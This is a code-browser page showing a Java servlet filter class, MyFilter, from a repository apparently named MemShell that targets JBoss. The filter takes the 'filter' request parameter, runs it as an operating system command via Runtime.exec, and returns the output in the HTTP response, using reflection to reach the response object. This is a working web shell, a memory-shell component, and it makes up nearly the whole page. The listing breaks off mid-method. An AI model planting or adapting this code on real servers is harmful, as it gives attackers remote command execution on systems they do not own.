MCPcopy Create free account
hub / github.com/ax1sX/MemShell / MyFilter

Class MyFilter

JBossMemShell/src/main/java/com/axisx/MyFilter.java:12–74  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

10import java.lang.reflect.Field;
11
12public class MyFilter implements Filter {
13 @Override
14 public void init(FilterConfig filterConfig) throws ServletException {
15
16 }
17
18 @Override
19 public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
20 HttpServletRequest req = (HttpServletRequest)request;
21 HttpServletResponse resp = null;
22
23 try {
24 resp = this.getResponseFromRequest(req);
25 String cmd = req.getParameter("filter");
26 String result = this.CommandExec(cmd);
27 resp.getWriter().println(result);
28 } catch (Exception var8) {
29 var8.printStackTrace();
30 }
31
32 }
33
34 @Override
35 public void destroy() {
36
37 }
38
39 public String CommandExec(String cmd) throws Exception {
40 Runtime rt = Runtime.getRuntime();
41 Process proc = rt.exec(cmd);
42 InputStream stderr = proc.getInputStream();
43 InputStreamReader isr = new InputStreamReader(stderr);
44 BufferedReader br = new BufferedReader(isr);
45 String line = null;
46 StringBuffer sb = new StringBuffer();
47 while ((line = br.readLine()) != null) {
48 sb.append(line + "\n");
49 }
50 return sb.toString();
51 }
52
53 public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
54 HttpServletResponse var2 = null;
55
56 try {
57 Field var3 = var1.getClass().getDeclaredField("response");
58 var3.setAccessible(true);
59 var2 = (HttpServletResponse)var3.get(var1);
60 } catch (Exception var8) {
61 try {
62 Field var4 = var1.getClass().getDeclaredField("request");
63 var4.setAccessible(true);
64 Object var5 = var4.get(var1);
65 Field var6 = var5.getClass().getDeclaredField("response");
66 var6.setAccessible(true);
67 var2 = (HttpServletResponse)var6.get(var5);
68 } catch (Exception var7) {
69 }

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected